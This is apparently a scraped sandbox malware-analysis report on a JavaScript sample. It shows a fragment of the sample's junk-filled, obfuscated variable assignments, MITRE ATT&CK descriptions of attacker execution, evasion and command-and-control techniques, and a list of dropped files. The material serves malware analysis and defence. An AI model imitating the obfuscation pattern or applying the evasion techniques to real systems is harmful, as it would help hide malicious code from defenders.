1124	uliykls = "x";
1125	uliykls = "P";
1126	uliykls = "A";
1127	uliykls = "Y";
1128	uliykls = "u";
1129	uliykls = "t";
1130	uliykls = "U";
1131	uliykls = "U";
1132	uliykls = "P";
1133	uliykls = "W";
1134	uliykls = "p";
1135	uliykls = "Q";
1136	uliykls = "P";
1137	uliykls = "I";
1138	uliykls = "O";
1139	uliykls = "F";
1140	uliykls = "K";
1141	uliykls = "p";
1142	uliykls = "Y";
1143	uliykls = "s";
1144	uliykls = "w";
1145	uliykls = "f";
1146	uliykls = "C";
1147	uliykls = "O";
1148	uliykls = "z";
1149	uliykls = "K";
1150	uliykls = "o";
1151	uliykls = "o";
1152	uliykls = "G";
1153	uliykls = "L";
1154	uliykls = "J";
1155	uliykls = "Y";
1156	uliykls = "b";
1157	uliykls = "j";
1158	uliykls = "d";
1159	uliykls = "E";
1160	uliykls = "z";
1161	uliykls = "p";
1162	uliykls = "S";
1163	gkpfmr = "N";
1164	gkpfmr = "b";
1165	gkpfmr = "C";
1166	gkpfmr = "V";
1167	gkpfmr = "D";
1168	gkpfmr = "h";
1169	gkpfmr = "G";
1170	gkpfmr = "h";
1171	gkpfmr = "e";
1172	gkpfmr = "K";
1173	gkpfmr = "p";
1174	gkpfmr = "k";
1175	gkpfmr = "U";
1176	gkpfmr = "B";
1177	gkpfmr = "Q";
1178	gkpfmr = "u";
1179	gkpfmr = "G";
1180	gkpfmr = "L";
1181	gkpfmr = "y";
1182	gkpfmr = "m";
1183	uuowckmte = "K";
1184	uuowckmte = "t";
1185	uuowckmte = "V";
1186	uuowckmte = "K";
1187	uuowckmte = "d";
1188	uuowckmte = "v";
1189	uuowckmte = "C";
1190	uuowckmte = "j";
1191	uuowckmte = "d";
1192	uuowckmte = "U";
1193	uuowckmte = "F";
1194	uuowckmte = "T";
1195	uuowckmte = "R";
1196	uuowckmte = "T";
1197	uuowckmte = "M";
1198	uuowckmte = "n";
1199	uuowckmte = "n";
1200	uuowckmte = "p";
1201	uuowckmte = "v";
1202	uuowckmte = "e";
1203	uuowckmte = "u";
1204	uuowckmte = "p";
1205	uuowckmte = "i";
1206	uuowckmte = "i";
1207	dhoqfgmw = "T";
1208	dhoqfgmw = "Q";
1209	dhoqfgmw = "f";
1210	dhoqfgmw = "W";
1211	dhoqfgmw = "m";
1212	dhoqfgmw = "b";
1213	dhoqfgmw = "@";
1214	ibdmddj = "G";
1215	ibdmddj = "a";
1216	ibdmddj = "P";
1217	ibdmddj = "q";
1218	ibdmddj = "u";
1219	ibdmddj = "Q";
1220	ibdmddj = "P";
1221	ibdmddj = "V";
1222	ibdmddj = "F";
1223	ibdmddj = "h";
1224	ibdmddj = "d";
1225	ibdmddj = "S";
1226	ibdmddj = "q";
1227	ibdmddj = "A";
1228	ibdmddj = "h";
1229	ibdmddj = "X";
1230	ibdmddj = "B";
1231	ibdmddj = "M";
1232	ibdmddj = "C";
1233	ibdmddj = "j";
1234	ibdmddj = "R";
1235	ibdmddj = "E";
1236	ibdmddj = "C";
1237	ibdmddj = "T";
1238	ibdmddj = "e";
1239	ibdmddj = "u";
1240	ibdmddj = "f";
1241	ibdmddj = "P";
1242	ibdmddj = "J";
1243	ibdmddj = "q";
1244	ibdmddj = "c";
1245	ibdmddj = "j";
1246	ibdmddj = "x";
1247	ibdmddj = "o";
1248	ibdmddj = "l";
1249	ibdmddj = "P";
1250	ibdmddj = "n";
1251	ibdmddj = "X";
1252	ibdmddj = "U";
1253	ibdmddj = "g";
1254	ibdmddj = "r";
1255	bzxmpk = "f";
1256	bzxmpk = "J";
1257	bzxmpk = "w";
1258	bzxmpk = "O";
1259	bzxmpk = "O";
1260	bzxmpk = "b";
1261	bzxmpk = "y";
1262	bzxmpk = "W";
1263	bzxmpk = "R";
1264	bzxmpk = "j";
1265	bzxmpk = "p";
1266	bzxmpk = "t";
1267	bzxmpk = "d";
1268	bzxmpk = "B";
1269	bzxmpk = "Y";
1270	bzxmpk = "R";
1271	bzxmpk = "M";
1272	bzxmpk = "U";
1273	bzxmpk = "k";
1274	bzxmpk = "Y";
1275	bzxmpk = "v";
1276	bzxmpk = "g";
1277	bzxmpk = "U";
1278	bzxmpk = "d";
1279	bzxmpk = "t";
1280	bzxmpk = "h";
1281	bzxmpk = "X";
1282	bzxmpk = "I";
1283	bzxmpk = "E";
1284	bzxmpk = "A";
1285	bzxmpk = "k";
1286	bzxmpk = "a";
1287	bzxmpk = "U";
1288	bzxmpk = "D";
1289	bzxmpk = "Z";
1290	bzxmpk = "u";
1291	bzxmpk = "%";
1292	ojuomgg = "S";
1293	ojuomgg = "C";
1294	ojuomgg = "q";
1295	ojuomgg = "B";
1296	ojuomgg = "J";
1297	ojuomgg = "X";
1298	ojuomgg = "V";
1299	ojuomgg = "q";
1300	ojuomgg = "Z";
1301	ojuomgg = "q";
1302	ojuomgg = "U";
1303	ojuomgg = "A";
1304	ojuomgg = "y";
1305	ojuomgg = "o";
1306	ojuomgg = "v";
1307	ojuomgg = "r";
1308	ojuomgg = "w";
1309	ojuomgg = "R";
1310	ojuomgg = "k";
1311	ypumazy = "D";
1312	ypumazy = "r";
1313	ypumazy = "L";
1314	ypumazy = "Z";
1315	ypumazy = "R";
1316	hrfgef = "X";
1317	hrfgef = "J";
1318	hrfgef = "j";
1319	hrfgef = "X";
1320	hrfgef = "m";
1321	hrfgef = "N";
1322	hrfgef = "r";
1323	hrfgef = "Y";
1324	hrfgef = "i";
1325	hrfgef = "B";
1326	hrfgef = "Z";
1327	hrfgef = "q";
1328	hrfgef = "O";
1329	hrfgef = "g";
1330	hrfgef = "j";
1331	hrfgef = "S";
1332	hrfgef = "c";
1333	hrfgef = "z";
1334	hrfgef = "k";
1335	hrfgef = "j";
1336	hrfgef = "u";
1337	hrfgef = "x";
1338	hrfgef = "E";
1339	hrfgef = "m";
1340	hrfgef = "r";
1341	hrfgef = "J";
1342	hrfgef = "r";
1343	hrfgef = "H";
1344	hrfgef = "B";
1345	hrfgef = "c";
1346	qydvdloia = "z";
1347	qydvdloia = "A";
1348	qydvdloia = "a";
1349	qydvdloia = "x";
1350	qydvdloia = "M";
1351	qydvdloia = "f";
1352	qydvdloia = "y";
1353	qydvdloia = "G";
1354	qydvdloia = "K";
1355	apkzluns = "q";
1356	apkzluns = "H";
1357	apkzluns = "s";
1358	apkzluns = "n";
1359	apkzluns = "q";
1360	apkzluns = "s";
1361	apkzluns = "V";
1362	apkzluns = "h";
1363	apkzluns = "N";
1364	apkzluns = "w";
1365	apkzluns = "f";
1366	apkzluns = "F";
1367	apkzluns = "I";
1368	apkzluns = "o";
1369	apkzluns = "k";
1370	apkzluns = "x";
1371	apkzluns = "I";
1372	apkzluns = "p";
1373	apkzluns = "Q";
1374	apkzluns = "V";
1375	apkzluns = "n";
1376	apkzluns = ":";
1377	ylikonef ( );	ylikonef() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 340651472865228929.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\026932b7-c7ec-4ddd-9dfd-73b982d28763.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5112

Windows Analysis Report
340651472865228929.js